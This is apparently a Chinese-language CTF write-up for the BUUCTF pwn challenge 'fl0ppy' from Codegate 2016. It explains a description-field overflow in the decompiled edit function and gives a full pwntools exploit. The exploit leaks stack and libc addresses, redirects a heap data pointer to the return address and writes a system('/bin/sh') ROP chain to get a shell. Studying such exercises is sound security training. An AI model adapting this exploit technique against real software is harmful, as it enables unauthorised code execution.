[BUUCTF-pwn] fl0ppy_codegate_2016

一个不算复杂的问题把自己整晕了

程序虽然用到堆但是与堆无关,有两个floppy可选,功能有选择盘,写入(建堆块写入指针,desc写内容),show和修改4个功能。其中修改的时候desc原长度为0xc实际可写入0x25有个溢出。并且长度足够情况下strncpy并不带尾部的\0 

char *__cdecl m4edit(int a1)
{
  char *result; // eax
  char s[1024]; // [esp+8h] [ebp-410h] BYREF
  int v3; // [esp+408h] [ebp-10h] BYREF
  size_t v4; // [esp+40Ch] [ebp-Ch]

  v3 = 0;
  v4 = 0;
  memset(s, 0, sizeof(s));
  if ( !*(_DWORD *)a1 )
  {
    puts("Floppy disk is unusable.\n");
    exit(-1);
  }
  puts("Which one do you want to modify? 1 Description | 2 Data\n");
  _isoc99_scanf("%d", &v3);
  IO_getc(stdin);
  if ( v3 == 1 )
  {
    puts("Input Description: \n");
    read(0, s, 0x25u);
    v4 = strlen(s);
    result = strncpy((char *)(a1 + 8), s, v4 - 1);// 原长12写入len(s)-1 !!!
  }
  else
  {
    if ( v3 != 2 )
    {
      puts("Baaaaaaaaaack.\n");
      exit(-1);
    }
    puts("Input Data: ");
    read(0, s, 0x200u);
    *(_DWORD *)(a1 + 20) = strlen(s);
    result = strcpy(*(char **)(a1 + 4), s);     // 写入 s + \0
  }
  return result;
}

思路:

  1. 通过修改功能写入到v8,然后show的时候带出v8 得到栈地址
  2. 如果写到0x20就能带出libc_start_main_ret
  3. 溢出这块最多0x25写不了rop,所以通过floppy2的溢出修改floppy1的堆指针指到ret然后写入rop

两个坑点:

  1. esp在下断点后发现比ida里看的小8
  2. 能看到两个libc_start_main 第一个恰在ebp后,但这个不是返回地址,返回地址在下一个+0x10处
  3. 由于返回地址比预想的大,直接修改desc溢出达不到写rop的位置,所以需要修改data指针。再通过写data达到写rop的目的。
from pwn import *

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/libc6-i386_2.23-0ubuntu11.3/libc-2.23.so")
    one = [0x3a81c,0x3a81e,0x3a822,0x3a829,0x5f075,0x5f076]
    offset_main_ret = 0x18647
else:
    p = remote('node4.buuoj.cn', 27005) 
    libc_elf = ELF('../libc6-i386_2.23-0ubuntu10_amd64.so')
    one = [0x3a80c,0x3a80e,0x3a812,0x3a819,0x5f065,0x5f066]
    offset_main_ret = 0x18637

elf = ELF('./pwn')
context(arch='i386')

'''
0036| 0xffffd134 --> 0x1    //floppy1.flag
0040| 0xffffd138 --> 0x5655a410 ("AAAAAAAA\n")  //floppy1.data_ptr
0044| 0xffffd13c ("BBBBBBBB\n")   //floppy1.desc
0048| 0xffffd140 ("BBBB\n")
0052| 0xffffd144 --> 0xffff000a --> 0x0 
0056| 0xffffd148 --> 0x9 ('\t')   //floppy1.length
0060| 0xffffd14c --> 0xffffd134 --> 0x1   // v8 current_floppy
0064| 0xffffd150 --> 0xffffd170 --> 0x1   
0068| 0xffffd154 --> 0x0 
0072| 0xffffd158 --> 0x0 
0076| 0xffffd15c --> 0xf7e36647 (<__libc_start_main+247>:) //fake_ret
'''

menu = b">\n"
def change_disk(idx):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(b"Which floppy do you want to use? 1 or 2?\n\n", str(idx).encode())

def add():
    p.sendlineafter(menu, b'2')
    p.sendlineafter(b"Input your data: \n\n", b'AAA')
    p.sendlineafter(b"Description: \n\n", b'AAA')

def show():
    p.sendlineafter(menu, b'3')

def edit(msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b'Which one do you want to modify? 1 Description | 2 Data\n', b'1')
    p.sendafter(b"Input Description: \n\n", msg)

def edit2(msg):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(b"Which one do you want to modify? 1 Description | 2 Data\n\n", b'2')
    p.sendafter(b"Input Data: \n", msg)

context.log_level='debug'

change_disk(1)
add()

#leak v8 current_floppy
edit(b'A'*0x11)
change_disk(1)
show()
p.recvuntil(b'A'*0x10)
stack = u32(p.recv(4))
print('stack:', hex(stack))

#edit floppy2.desc floppy1.data_ptr->libc_start_main_ret
change_disk(2)
add()
edit(b'A'*0x14 + p32(stack +0x38) + b'\n') #floppy1->data->stack:ret

change_disk(1)  
show()
p.recvuntil(b'DATA: ')
libc_base = u32(p.recv(4)) - offset_main_ret
print('libc:', hex(libc_base))
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))

edit2(p32(system)+b'A'*4+p32(bin_sh))

p.sendlineafter(menu, b'5')

p.sendline(b'cat /flag')
p.interactive()

上一篇:arima模型python实现_Python如何进行Arima建模


下一篇:[BUUCTF-pwn] ciscn_2019_ne_2